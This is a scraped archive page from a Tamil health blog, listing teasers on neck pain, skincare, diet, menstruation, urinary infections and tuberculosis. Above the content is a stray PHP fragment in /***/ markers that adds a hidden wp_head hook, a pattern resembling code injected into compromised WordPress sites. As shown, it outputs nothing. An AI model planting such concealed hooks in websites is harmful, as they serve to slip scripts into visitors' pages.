/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ ஆரோக்கியம் Archives - Page 10 of 28 - Thagaval kalam

ஆரோக்கியம்

கழுத்து வலியை போக்க சில எளிய பயிற்சி முறைகள்

ஆரோக்கியம் September 24, 2023
இன்றைய கணினி யுகத்தில் பலர் கழுத்து வலியால் அவதிப்படுகின்றனர். இதற்கு முக்கியக் காரணம் தவறான முறையில் உட்காருவது, எனவே பணம் செலவழிக்காமல் இந்த கழுத்து...
Read More 0

முகத்தில் உபயோகிக்க கூடாத 7 பொருட்கள்

அழகு குறிப்பு February 14, 2023
முகத்தில் ஆயுர்வேத மற்றும் இயற்கை பொருட்களை கிட்டத்தட்ட இருபது வருடங்களாக உபயோகிக்கும் பழக்கம் நம் பெண்களிடம் இருந்து வருகிறது. அவ்வாறு உபயோகிக்கும் பொழுது முகத்தின்...
Read More 0

தினமும் ஏன் பழங்கள் உண்ண வேண்டும் தெரியுமா?

ஆரோக்கியம் January 16, 2023
நம் உணவின் பழங்கள் ஒரு முக்கிய பங்கு வகிக்கின்றன. இருவேளை உணவுகளுக்கு நடுவில் பழங்கள் உண்ணுவது ஆரோக்கியம் மேலும் பசியை போக்க பழங்களையே உணவாக...
Read More 0

குழந்தைகளுக்கு பிஸ்கட் கொடுப்பது நல்லதா? கெட்டதா?

ஆரோக்கியம் June 19, 2022
குழந்தைகள் முதல் பெரியவர்கள் வரை அனைவரும் விரும்பி சாப்பிடும் ஒரு ஸ்நாக்ஸ் என்றால் அது பிஸ்கட் தான். இன்றைய காலக்கட்டத்தில் தாய்மார்கள் குழந்தைகள் சாப்பிட...
Read More 0

தினையின் ஆரோக்கிய நன்மைகள்

ஆரோக்கியம் June 17, 2022
தினை சிறு தானியங்களில் முக்கியமான தானியம் ஆகும். தினை உலகாதிலேயே அதிகம் பயிரிடப்படும் தானிய வகைகளில் இரண்டாவது இடத்தை பிடிக்கின்றது. தினைக்கு ‘சைனீஸ் மில்லட்’,...
Read More 0

இதய ஆரோக்கியதற்கு முட்டை நல்லதா..?

ஆரோக்கியம் June 7, 2022
முட்டை கொழுப்புச்சத்திற்கான வளவமான ஆதரத்தை கொண்டது என்பது அனைவருக்கும் தெரியும். ஆனால் முட்டையில் அத்தியாவசிய ஊட்டச்சத்துக்கள் உள்ளன. ஆய்வு முடிவுகள் ஹார்ட் இதழில் வெளியிடப்பட்ட...
Read More 0

மாதவிடாய் சுழற்சி தாமதம் ஆவதற்கான காரணங்கள்..!

ஆரோக்கியம் June 6, 2022
ஆரோக்கியமான மாதவிடாய் சுழற்சி ஆனது ஒவ்வொரு 21 முதல் 40 நாட்களுக்கும் இருக்கலாம். உடல் மாற்றங்களை கடந்து செல்லும் போது, அது மாதவிடாய் சுழற்சி...
Read More 0

சிறுநீர் பாதை தொற்று அறிகுறி? அதை தடுக்கும் வழிகள்..!

ஆரோக்கியம் June 6, 2022
சிறுநீர் நோய் தொற்று ஆண்கள், குழந்தைகள், வயதானவர்கள் என அனைவரையும் பாதிக்கிறது. சுமார் ஐந்தில் ஒரு பெண், ஒருமுறையாவது இந்த சிறுநீர் பாதை நோய்த்...
Read More 0

காசநோய் அறிகுறிகளும் சிகிச்சைகளும்..!!

ஆரோக்கியம் June 5, 2022
குழந்தைகள் முதல் பெரியவர்கள் வரை அனைத்து வயதினரையும் தாக்கும் நோய்களில் காசநோயும் ஒன்று. மைக்கோபாக்டீரியம் ட்யூபர்குளோசிஸ் (Mycobacterium tuberculosis) நுண்கிருமியால் வரக்கூடிய இந்த நோய்,...
Read More 0

அவசர காலத்துக்கான எளிய கை வைத்தியங்கள் இதோ..!

ஆரோக்கியம் June 3, 2022
நோயற்ற வாழ்வு தான் நம் அனைவரின் ஆசையுமாக இருக்கிறது. ஆனால், எளிய பிரச்னைகள், உடல் உபாதைகள் இல்லாத வாழ்வு என்பதே எப்போதும் எக்காலத்திலும் இருந்ததில்லை....
Read More 0